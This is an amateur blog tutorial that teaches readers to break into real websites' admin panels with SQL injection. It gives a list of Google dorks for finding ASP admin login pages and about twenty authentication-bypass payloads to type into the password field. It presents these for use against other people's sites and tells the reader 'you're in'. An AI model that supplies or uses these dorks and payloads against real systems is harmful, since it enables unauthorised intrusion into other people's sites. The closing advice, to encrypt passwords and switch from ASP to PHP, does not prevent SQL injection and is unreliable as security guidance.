How to hack a website : SQL Injection

Hello friends 

Today, I bring to you another hacking trick/method with SQL INJECTION..

What do we understand by sql injection?

A injecting sql queries into another database or using queries to get authentication bypass as an admin.

Part 1

Basic sql injection Gaining authentication bypass on an admin account. Most sites vulnerable to this are asp.net, So first we need to find a site, start by opening Google.Now we type our dork: “definition of dork” ‘a search entry for a certain type of site/exploit”

There is a large number of google dork for basic sql injection.
Here are the best:

• “inurl:login/admin.asp”
• “inurl:admin.asp”
• “inurl:admin/login.asp”
• “inurl:adminlogin.asp”
• “inurl:adminhome.asp”
• “inurl:admin_login.asp”
• “inurl:administratorlogin.asp”
• “inurl:login/administrator.asp”
• “inurl:administrator_login.asp”

Now what to do once we get to our site. the site should look something like this :

Welcome to xxxxxxxxxx administrator panel

Username :

Password :

So what we do here is in the USERNAME, we always type “Admin” as the username and for our PASSWORD we type our sql injection.

Here is a list of sql injections..

• ‘ or ’1′=’1
• ‘ or ‘x’=’x
• ‘ or 0=0 –
• or 0=0 –
• ‘ or 0=0 #
• ” or 0=0 #
• or 0=0 #
• ‘ or ‘x’=’x
• ” or “x”=”x
• ‘) or (‘x’=’x
• ‘ or 1=1–
• ” or 1=1–
• or 1=1–
• ‘ or a=a–
• ” or “a”=”a
• ‘) or (‘a’=’a
• “) or (“a”=”a
• hi” or “a”=”a
• hi” or 1=1 –
• hi’ or 1=1 –
• ‘or’1=1′

TYPE ANY ONE OF THESE IN PASSWORD SPACE… There are many more but these are the best ones that i know.

What this sql injection is doing :

Confusing the database till it gives you authentication bypass. So your input should look like this

username: Admin

password: ’or’1′=’1

So click submit and you're in .................... Wow

Note: Not all sites are vulnerable

HOW TO SECURE YOUR SITE FROM THIS ATTACK

1- Put encryption on the passwords.

2- Change the platform of your website from asp to php.
